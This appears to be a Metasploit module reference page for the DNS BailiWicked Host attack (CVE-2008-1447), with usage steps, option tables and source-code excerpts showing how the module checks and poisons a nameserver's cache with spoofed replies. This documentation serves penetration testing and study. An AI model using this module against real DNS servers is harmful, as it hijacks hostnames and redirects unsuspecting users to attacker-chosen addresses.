DNS BailiWicked Host Attack - Metasploit


This page contains detailed information about how to use the auxiliary/spoof/dns/bailiwicked_host metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: DNS BailiWicked Host Attack
Module: auxiliary/spoof/dns/bailiwicked_host
Source code: modules/auxiliary/spoof/dns/bailiwicked_host.rb
Disclosure date: 2008-07-21
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2008-1447

This exploit attacks a fairly ubiquitous flaw in DNS implementations which Dan Kaminsky found and disclosed ~Jul 2008. This exploit caches a single malicious host entry into the target nameserver by sending random hostname queries to the target DNS server coupled with spoofed replies to those queries from the authoritative nameservers for that domain. Eventually, a guessed ID will match, the spoofed packet will get accepted, and due to the additional hostname entry being within bailiwick constraints of the original request the malicious host entry will get cached.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/spoof/dns/bailiwicked_host
msf auxiliary(bailiwicked_host) > show targets
    ... a list of targets ...
msf auxiliary(bailiwicked_host) > set TARGET target-id
msf auxiliary(bailiwicked_host) > show options
    ... show and set options ...
msf auxiliary(bailiwicked_host) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

  • SRCPORT: The target server's source query port (0 for automatic)

Go back to menu.

Msfconsole Usage


Here is how the spoof/dns/bailiwicked_host auxiliary module looks in the msfconsole:

msf6 > use auxiliary/spoof/dns/bailiwicked_host

msf6 auxiliary(spoof/dns/bailiwicked_host) > show info

       Name: DNS BailiWicked Host Attack
     Module: auxiliary/spoof/dns/bailiwicked_host
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2008-07-21

Provided by:
  I)ruid <[email protected]>
  hdm <[email protected]>

Check supported:
  Yes

Basic options:
  Name       Current Setting    Required  Description
  ----       ---------------    --------  -----------
  HOSTNAME   pwned.example.com  yes       Hostname to hijack
  INTERFACE                     no        The name of the interface
  NEWADDR    1.3.3.7            yes       New address for hostname
  RECONS     208.67.222.222     yes       The nameserver used for reconnaissance
  RHOSTS                        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  SNAPLEN    65535              yes       The number of bytes to capture
  SRCADDR    Real               yes       The source address to use for sending the queries (Accepted: Real, Random)
  SRCPORT                       yes       The target server's source query port (0 for automatic)
  TIMEOUT    500                yes       The number of seconds to wait for new data
  TTL        47603              yes       The TTL for the malicious host entry
  XIDS       0                  yes       The number of XIDs to try for each query (0 for automatic)

Description:
  This exploit attacks a fairly ubiquitous flaw in DNS implementations 
  which Dan Kaminsky found and disclosed ~Jul 2008. This exploit 
  caches a single malicious host entry into the target nameserver by 
  sending random hostname queries to the target DNS server coupled 
  with spoofed replies to those queries from the authoritative 
  nameservers for that domain. Eventually, a guessed ID will match, 
  the spoofed packet will get accepted, and due to the additional 
  hostname entry being within bailiwick constraints of the original 
  request the malicious host entry will get cached.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2008-1447
  OSVDB (46776)
  https://www.kb.cert.org/vuls/id/800113
  http://www.caughq.org/exploits/CAU-EX-2008-0002.txt

Module Options


This is a complete list of options available in the spoof/dns/bailiwicked_host auxiliary module:

msf6 auxiliary(spoof/dns/bailiwicked_host) > show options

Module options (auxiliary/spoof/dns/bailiwicked_host):

   Name       Current Setting    Required  Description
   ----       ---------------    --------  -----------
   HOSTNAME   pwned.example.com  yes       Hostname to hijack
   INTERFACE                     no        The name of the interface
   NEWADDR    1.3.3.7            yes       New address for hostname
   RECONS     208.67.222.222     yes       The nameserver used for reconnaissance
   RHOSTS                        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   SNAPLEN    65535              yes       The number of bytes to capture
   SRCADDR    Real               yes       The source address to use for sending the queries (Accepted: Real, Random)
   SRCPORT                       yes       The target server's source query port (0 for automatic)
   TIMEOUT    500                yes       The number of seconds to wait for new data
   TTL        47603              yes       The TTL for the malicious host entry
   XIDS       0                  yes       The number of XIDs to try for each query (0 for automatic)

Advanced Options


Here is a complete list of advanced options supported by the spoof/dns/bailiwicked_host auxiliary module:

msf6 auxiliary(spoof/dns/bailiwicked_host) > show advanced

Module advanced options (auxiliary/spoof/dns/bailiwicked_host):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   GATEWAY_PROBE_HOST  8.8.8.8          yes       Send a TTL=1 random UDP datagram to this host to discover the default gateway's MAC
   GATEWAY_PROBE_PORT                   no        The port on GATEWAY_PROBE_HOST to send a random UDP probe to (random if 0 or unset)
   SECRET              1297303073       yes       A 32-bit cookie for probe requests.
   VERBOSE             false            no        Enable detailed status messages
   WORKSPACE                            no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the spoof/dns/bailiwicked_host module can do:

msf6 auxiliary(spoof/dns/bailiwicked_host) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the spoof/dns/bailiwicked_host auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(spoof/dns/bailiwicked_host) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

ERROR: This server is not replying to recursive requests


Here is a relevant code snippet related to the "ERROR: This server is not replying to recursive requests" error message:

118:	    end
119:	
120:	    srv_sock.close
121:	
122:	    if(ports.keys.length == 0)
123:	      vprint_error("ERROR: This server is not replying to recursive requests")
124:	      return Exploit::CheckCode::Unknown
125:	    end
126:	
127:	    if(reps < 30)
128:	      vprint_warning("WARNING: This server did not reply to all of our requests")

WARNING: This server did not reply to all of our requests


Here is a relevant code snippet related to the "WARNING: This server did not reply to all of our requests" error message:

123:	      vprint_error("ERROR: This server is not replying to recursive requests")
124:	      return Exploit::CheckCode::Unknown
125:	    end
126:	
127:	    if(reps < 30)
128:	      vprint_warning("WARNING: This server did not reply to all of our requests")
129:	    end
130:	
131:	    if(random)
132:	      ports_u = ports.keys.length
133:	      ports_r = ((ports.keys.length/30.0)*100).to_i

PASS: This server does not use a static source port. Randomness: <PORTS_U>/30 %<PORTS_R>


Here is a relevant code snippet related to the "PASS: This server does not use a static source port. Randomness: <PORTS_U>/30 %<PORTS_R>" error message:

129:	    end
130:	
131:	    if(random)
132:	      ports_u = ports.keys.length
133:	      ports_r = ((ports.keys.length/30.0)*100).to_i
134:	      print_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}")
135:	      if(ports_r != 100)
136:	        vprint_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.")
137:	        # Not exploitable by this tool, so we lower this to Appears on purpose to lower the user's confidence
138:	        return Exploit::CheckCode::Appears
139:	      end

INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.


Here is a relevant code snippet related to the "INFO: This server's source ports are not really random and may still be exploitable, but not by this tool." error message:

131:	    if(random)
132:	      ports_u = ports.keys.length
133:	      ports_r = ((ports.keys.length/30.0)*100).to_i
134:	      print_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}")
135:	      if(ports_r != 100)
136:	        vprint_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.")
137:	        # Not exploitable by this tool, so we lower this to Appears on purpose to lower the user's confidence
138:	        return Exploit::CheckCode::Appears
139:	      end
140:	    else
141:	      vprint_error("FAIL: This server uses a static source port and is vulnerable to poisoning")

FAIL: This server uses a static source port and is vulnerable to poisoning


Here is a relevant code snippet related to the "FAIL: This server uses a static source port and is vulnerable to poisoning" error message:

136:	        vprint_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.")
137:	        # Not exploitable by this tool, so we lower this to Appears on purpose to lower the user's confidence
138:	        return Exploit::CheckCode::Appears
139:	      end
140:	    else
141:	      vprint_error("FAIL: This server uses a static source port and is vulnerable to poisoning")
142:	      return Exploit::CheckCode::Vulnerable
143:	    end
144:	
145:	    Exploit::CheckCode::Safe
146:	  end

Warning: target address <TARGET> is not the same as the nameserver's query source address <T_ADDR>!


Here is a relevant code snippet related to the "Warning: target address <TARGET> is not the same as the nameserver's query source address <T_ADDR>!" error message:

184:	            t_addr, t_port = $1.split(':')
185:	            sport = t_port.to_i
186:	
187:	            print_status("Switching to target port #{sport} based on Metasploit service")
188:	            if target != t_addr
189:	              print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
190:	            end
191:	          end
192:	        end
193:	      end
194:	    end

Failure: This hostname is already in the target cache: <NAME>


Here is a relevant code snippet related to the "Failure: This hostname is already in the target cache: <NAME>" error message:

208:	          answer = Resolv::DNS::Message.decode(answer)
209:	          answer.each_answer do |name, ttl, data|
210:	
211:	            if((name.to_s + ".") == hostname)
212:	              t = Time.now + ttl
213:	              print_error("Failure: This hostname is already in the target cache: #{name}")
214:	              print_error("         Cache entry expires on #{t}... sleeping.")
215:	              cached = true
216:	              select(nil,nil,nil,ttl)
217:	            end
218:	          end

Cache entry expires on <T>... sleeping.


Here is a relevant code snippet related to the "Cache entry expires on <T>... sleeping." error message:

209:	          answer.each_answer do |name, ttl, data|
210:	
211:	            if((name.to_s + ".") == hostname)
212:	              t = Time.now + ttl
213:	              print_error("Failure: This hostname is already in the target cache: #{name}")
214:	              print_error("         Cache entry expires on #{t}... sleeping.")
215:	              cached = true
216:	              select(nil,nil,nil,ttl)
217:	            end
218:	          end
219:	

Error checking the DNS name: <E.CLASS> <E> <E.BACKTRACE>


Here is a relevant code snippet related to the "Error checking the DNS name: <E.CLASS> <E> <E.BACKTRACE>" error message:

220:	        end
221:	      end until not cached
222:	    rescue ::Interrupt
223:	      raise $!
224:	    rescue ::Exception => e
225:	      print_error("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
226:	    end
227:	
228:	    res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver
229:	
230:	    print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}"

No DNS servers found.


Here is a relevant code snippet related to the "No DNS servers found." error message:

254:	        end
255:	      end
256:	    end
257:	
258:	    if barbs.length == 0
259:	      print_status( "No DNS servers found.")
260:	      srv_sock.close
261:	      close_pcap
262:	      return
263:	    end
264:	

The server did not reply, giving up.


Here is a relevant code snippet related to the "The server did not reply, giving up." error message:

266:	    if(xids == 0)
267:	      print_status("Calculating the number of spoofed replies to send per query...")
268:	      qcnt = calculate_race(target, domain, 100)
269:	      numxids = ((qcnt * 1.5) / barbs.length).to_i
270:	      if(numxids == 0)
271:	        print_status("The server did not reply, giving up.")
272:	        srv_sock.close
273:	        close_pcap
274:	        return
275:	      end
276:	      print_status("Sending #{numxids} spoofed replies from each nameserver (#{barbs.length}) for each query")

Error querying the DNS name: <E.CLASS> <E> <E.BACKTRACE>


Here is a relevant code snippet related to the "Error querying the DNS name: <E.CLASS> <E> <E.BACKTRACE>" error message:

375:	            end
376:	          end
377:	        rescue ::Interrupt
378:	          raise $!
379:	        rescue ::Exception => e
380:	          print_error("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
381:	        end
382:	      end
383:	    end
384:	  end
385:	

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • I)ruid
  • hdm

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.